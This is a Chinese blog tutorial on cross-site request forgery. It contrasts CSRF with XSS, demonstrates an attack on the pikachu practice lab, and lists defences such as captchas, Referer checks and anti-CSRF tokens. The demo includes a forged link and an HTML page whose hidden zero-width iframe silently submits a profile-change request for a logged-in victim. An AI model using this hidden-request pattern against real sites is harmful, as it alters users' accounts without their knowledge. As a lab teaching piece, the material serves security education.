CSRF漏洞分析和防御

本文探讨了跨站请求伪造(CSRF)和跨站脚本(XSS)的区别,包括CSRF利用用户信任发起攻击和XSS针对数据处理漏洞的利用。通过实例展示了CSRF的攻击过程和防御措施,如验证码、Referer检查和CSRF Token的应用。
摘要由CSDN通过智能技术生成

简介

CSRF:跨站点请求伪造(Cross Site Request Forgery)

形成原因:攻击者伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了;成功的原因是重要操作的所有参数都可以被攻击者猜测到进行伪造,因为发起一次csrf攻击需要构造一个合法的请求。

XSS和CSRF的区别

XSS和CSRF的区别:
CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,并没有获取用户的权限(比如cookie)而是借助用户本身在不知情下发起攻击者伪造的请求,达到执行非本意操作的目的。CSRF 利用的是网站对用户网页浏览器的信任。
XSS是利用未对用户输入的数据进行处理漏洞,导致HTML被写入js代码,产生危害(如获取用户的cookie)。XSS 利用的是用户对指定网站的信任。
来源于网路
在这里插入图片描述

示例

CSRF攻击成功有两点:
1、目标用户在登录状态
2、目标用户点击链接

举例说明:
靶场:pikachu
以vince账户登录密码123456
在这里插入图片描述
登录状态下尝试修改信息:
在这里插入图片描述
抓包发现未对重要参数进行处理也没有验证(token等),存在csrf漏洞,尝试伪造请求:
在这里插入图片描述
构造链接:

echo '<div><a href="crsf_request.html" >伪造链接,诱使用户点击 </a></div>';

crsf_request.html

<html>
	<head>
	<meta charset=utf-8>
		<title>
			csrf
		</title>
	</head>
	<body>
		<p>修改信息</p>
		<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=8888888&add=xxxxxx&email=vince@qq.com&submit=submit" frameborder="0" width="0px">
	</body>
</html>

在这里插入图片描述
点击链接:实现页面跳转,攻击者伪造的页面
在这里插入图片描述
信息修改成功,完成csrf攻击:
在这里插入图片描述

未登录转态下点击:
在这里插入图片描述
修改电话为7777777

<p>修改信息</p>
		<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=777777777&add=xxxxxx&email=vince@qq.com&submit=submit" frameborder="0" width="0px">

跳转;
在这里插入图片描述
登入后发现信息并没有被更改:
在这里插入图片描述
至此csrf介绍完毕!

防御

1、添加验证码
csrf攻击往往是在用户不知情的情况下构造了网络请求,验证码强制用户必须与应用进行交互,才能完成最终的请求。

2、Referer Check
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。通过检查referer是否合法来判断用户是否被csrf攻击。

3、Anti CSRF Token
通过在session 和cookie中添加token,token需要同时放在表单和session中,服务器只需验证表单中的token与用户session或cookie中的token是否一致,如果一致则是合法请求,可以有效的防御csrf攻击,因为攻击者无法预测token不能构造出完整的URL。

token使用原则:
1、不可预测性
2、随机性
3、尽量放在表单中
把敏感操作由GET改为POST,以form表单(或者AJAX)的形式提交,可以避免token泄露。

4、用户不点击未知链接或不登录

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值